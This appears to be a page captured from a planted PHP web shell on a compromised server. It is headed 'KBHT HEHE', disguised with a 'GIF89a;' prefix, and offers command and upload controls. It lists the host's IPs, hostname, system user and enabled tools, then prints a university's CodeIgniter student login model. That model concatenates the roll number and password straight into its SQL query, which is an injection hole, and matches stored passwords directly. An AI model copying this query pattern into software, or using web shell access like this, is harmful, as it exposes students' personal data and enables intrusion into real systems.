GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.225.195.4
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/models/student/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/models/student/StudentAuthenticator.php
<?php

/**
 * Model For Handling All DB Operations Related To Student Authentication
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class StudentAuthenticator extends CI_Model {

    function __construct() {
        parent::__construct();
        $this->load->model('admin/StudentManagement');
    }

    function authLogin($rollEnrlNumber, $password) {
        $sql = "SELECT TSPI.tspi_id,TSPI.tspi_name,TSPI.tspi_gender,TSPI.tspi_form_no,TSPI.tspi_mobile,TSPI.tspi_email,TSPI.tspi_dob,TSPI.tspi_rollNumber,"
                . "TSPI.ucs_map_id,TSPI.tspi_status,TCM.course_name, TSM.session_id, TSM.session_name,TUCSM.session_end_year,TDDIPIC.tddi_doc_file_path studentPhoto,TCM.course_id,"
                . "TSBM.branch_id,TSBM.branch_name,TSBM.branch_short_name,TSBM.branch_email,TSBM.branch_website_url,TSBM.branch_tel_no,"
                . "TSBM.branch_fax,TSBM.branch_mobile_no "
                . "FROM tbl_student_personal_info TSPI, tbl_univ_course_session_mapping TUCSM, tbl_course_master TCM, "
                . "tbl_course_sub_master TCSM, tbl_session_master TSM, tbl_document_document_info TDDIPIC, tbl_document_master TDOCMPIC, tbl_sms_branch_master TSBM "
                . "WHERE TSPI.ucs_map_id = TUCSM.ucs_map_id AND TUCSM.sub_course_id = TCSM.tcsm_id AND TUCSM.branch_id = TSBM.branch_id "
                . "AND TCSM.course_id = TCM.course_id AND TUCSM.session_id = TSM.session_id AND TSPI.tspi_delete_status = 'F' "
                . "AND TSPI.tspi_id = TDDIPIC.tddi_mapping_id AND TDDIPIC.tddi_doc_id = TDOCMPIC.doc_id "
                . "AND TDDIPIC.tddi_user_type_flag = 'S' AND TDOCMPIC.doc_flag = 'SP' AND TDOCMPIC.doc_related_to = 'S' "
                . "AND (TSPI.tspi_form_no = '" . $rollEnrlNumber . "' OR TSPI.tspi_rollNumber = '" . $rollEnrlNumber . "' OR TSPI.tspi_enrollment_no = '" . $rollEnrlNumber . "') AND TSPI.tspi_password = '" . $password . "'";
        $query = $this->db->query($sql);
        if ($query->num_rows() == 1) {
            $studentInfo = $query->result()[0];
            if ($studentInfo->tspi_status == 'CE' || $studentInfo->tspi_status == 'DV') {
                foreach ($query->result() as $rows) {
                    $studentCurrentSemesterInfo = $this->StudentManagement->getStudentCurrentSectionSemesterInfoBy($rows->tspi_id)->result();
                    $studentData = array(
                        'stu_id' => $rows->tspi_id,
                        'stu_name' => $rows->tspi_name,
                        'stu_gender' => $rows->tspi_gender,
                        'stu_form_no' => $rows->tspi_form_no,
                        'stu_mobile' => $rows->tspi_mobile,
                        'stu_email' => $rows->tspi_email,
                        'stu_dob' => $rows->tspi_dob,
                        'stu_rollNumber' => $rows->tspi_rollNumber,
                        'stu_course' => $rows->course_name,
                        'stu_course_id' => $rows->course_id,
                        'stu_session' => $rows->session_name,
                        'stu_session_id' => $rows->session_id,
                        'stu_ucs_map_id' => $rows->ucs_map_id,
                        'stu_current_semester' => (sizeof($studentCurrentSemesterInfo)) ? $studentCurrentSemesterInfo[0]->tsssi_semester : "NA",
                        'stu_batch' => explode('-', $rows->session_name)[0] . "-" . $rows->session_end_year,
                        'stu_image' => $rows->studentPhoto,
                        'branch_id' => $rows->branch_id,
                        'branch_name' => $rows->branch_name,
                        'branch_short_name' => $rows->branch_short_name,
                        'branch_email' => $rows->branch_email,
                        'branch_mobile' => $rows->branch_mobile_no,
                        'branch_tel' => $rows->branch_tel_no,
                        'branch_fax' => $rows->branch_fax,
                        'branch_website' => $rows->branch_website_url,
                        'logged_in' => TRUE
                    );
                }
                $this->session->set_userdata("studentData", $studentData);
                return 1;
            } else {
                return 'You Are Not Authorised To Login.';
            }
        } else {
            return 0;
        }
    }

    public function authLogout() {
        $this->session->sess_destroy();
        $this->session->set_userdata("studentData", array('logged_in' => FALSE));
        return true;
    }

    function authenticateStudentByLoginIdAndPassword($tspi_id, $encryptedPassword) {
        $this->db->select("*");
        $this->db->from('tbl_student_personal_info');
        $this->db->where('tspi_id', $tspi_id);
        $this->db->where('tspi_password', $encryptedPassword);
        $query = $this->db->get();
        if (sizeof($query->result()) == 1) {
            return true;
        } else {
            return false;
        }
    }

    function updateNewPassword($passwordUpdateData) {
        $this->db->where('tspi_id', $passwordUpdateData['tspi_id']);
        $this->db->update('tbl_student_personal_info', $passwordUpdateData);
        return true;
    }

}

KBHT - 2023